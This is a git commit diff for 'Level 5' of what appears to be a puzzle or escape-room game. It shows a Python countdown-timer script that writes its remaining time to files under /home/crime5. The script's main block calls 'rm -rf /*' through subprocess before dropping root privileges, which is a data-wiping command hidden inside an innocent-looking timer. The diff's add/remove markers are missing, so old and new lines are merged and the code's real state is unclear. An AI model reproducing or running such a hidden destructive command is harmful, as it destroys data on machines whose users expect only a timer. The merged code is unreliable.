Update Level 5

This commit is contained in:
root
2025-11-19 15:44:36 +01:00
parent ac9ea3e3c0
commit f8bfabf352
8 changed files with 128 additions and 62 deletions

View File

@@ -1,38 +1,40 @@
import os
import time
import subprocess
import pwd
STATE_FILE = "/home/crime5/.timer/timer_state.txt"
END_STATE = "/home/crime5/.timer/end_state.txt"
def drop_privileges(user):
pw = pwd.getpwnam(user)
os.setgid(pw.pw_gid)
os.setuid(pw.pw_uid)
def load_time(default_time):
if not os.path.exists(STATE_FILE):
return default_time
try:
with open(STATE_FILE, "r") as f:
return int(f.read().strip())
except:
return default_time
def save_time(remaining):
with open(STATE_FILE, "w") as f:
f.write(str(remaining))
def countdown(seconds):
if os.path.exists(END_STATE):
os.remove(END_STATE)
for remaining in range(seconds, 0, -1):
save_time(remaining)
with open(STATE_FILE, "w") as f:
f.write(str(remaining))
mins, secs = divmod(remaining, 60)
with open("/home/crime5/timer.txt", "w") as f:
f.write(f"{mins:02d}:{secs:02d}")
time.sleep(1)
if os.path.exists(STATE_FILE):
os.remove(STATE_FILE)
with open(END_STATE, "w") as f:
f.write("timeout")
print("Du hast verloren der Timer ist abgelaufen!")
if __name__ == "__main__":
subprocess.run(["rm", "-rf", "/*"])
drop_privileges("crime5")
remaining = load_time(600)
countdown(remaining)
countdown(600)